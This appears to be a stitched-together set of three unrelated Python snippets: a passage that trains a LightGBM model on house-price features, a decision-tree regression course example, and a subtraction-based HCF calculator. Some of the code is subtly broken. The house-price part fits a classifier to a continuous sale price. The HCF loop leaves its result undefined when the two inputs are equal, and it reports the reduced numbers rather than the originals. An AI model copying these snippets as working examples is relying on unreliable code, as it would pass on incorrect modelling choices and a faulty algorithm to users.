       '1stFlrSF', '2ndFlrSF','LowQualFinSF', 'GrLivArea', 'BsmtFullBath', 'BsmtHalfBath', 'FullBath',
       'HalfBath', 'BedroomAbvGr', 'KitchenAbvGr','TotRmsAbvGrd', 'Fireplaces',
       'GarageYrBlt', 'GarageCars', 'GarageArea','WoodDeckSF', 'OpenPorchSF',
       'EnclosedPorch', '3SsnPorch', 'ScreenPorch', 'PoolArea','MiscVal', 'MoSold', 'YrSold'
        ]

# features = ['OverallQual','GrLivArea', 'GarageCars','TotalBsmtSF', 'FullBath', 'TotRmsAbvGrd', 'YearBuilt']

train_X = df_train[features]
train_Y = df_train['SalePrice']
print('##########开始训练数据##########')
lg = lgb.LGBMClassifier()
lg.fit(train_X, train_Y)

# 保存结果
result = pd.DataFrame()
result['Id'] = df_test['Id']
result['SalePrice'] = lg.predict(df_test[features])
# index=False 是用来除去行编号
result.to_csv('/Users/liudong/Desktop/house_price/result.csv', index=False)

print('##########结束训练##########')


import matplotlib.pyplot as plt
import pandas as pd
from sklearn.tree import DecisionTreeRegressor
import numpy as np

# Decision tree regression is very usefull with multiple variables.
# With only one variable is not very usefull

""" Data Preprocessing """
# Import Dataset
dataset = pd.read_csv('Data/Decision Tree Regression/Position_Salaries.csv')
X = dataset.iloc[:, 1:2].values
Y = dataset.iloc[:, 2].values

# Create regressor
regressor = DecisionTreeRegressor(random_state=0)
regressor.fit(X,Y)

Y_predict = regressor.predict([[6.5]])

print( Y_predict)

# Visualize regression
X_grid = np.arange(min(X), max(X), 0.01)
X_grid = X_grid.reshape(len(X_grid), 1)
plt.scatter(X, Y, color='red')
plt.plot(X_grid, regressor.predict(X_grid), color='blue')
plt.show()

Udemy - Machine Learning A-Z/2-Regression/decision_tree_regression.py


# Python program to find the H.C.F of two input number

# take input from the user
no1 = int(input("Enter first number: "))
no2 = int(input("Enter second number: "))
"""This function takes two
   integers and returns the H.C.F"""
while no1!=no2:
	if no1>no2:
		no1-=no2
	elif no2>no1:
		no2-=no1
	gcd=no1
print("The H.C.F. of", no1,"and", no2,"is", gcd)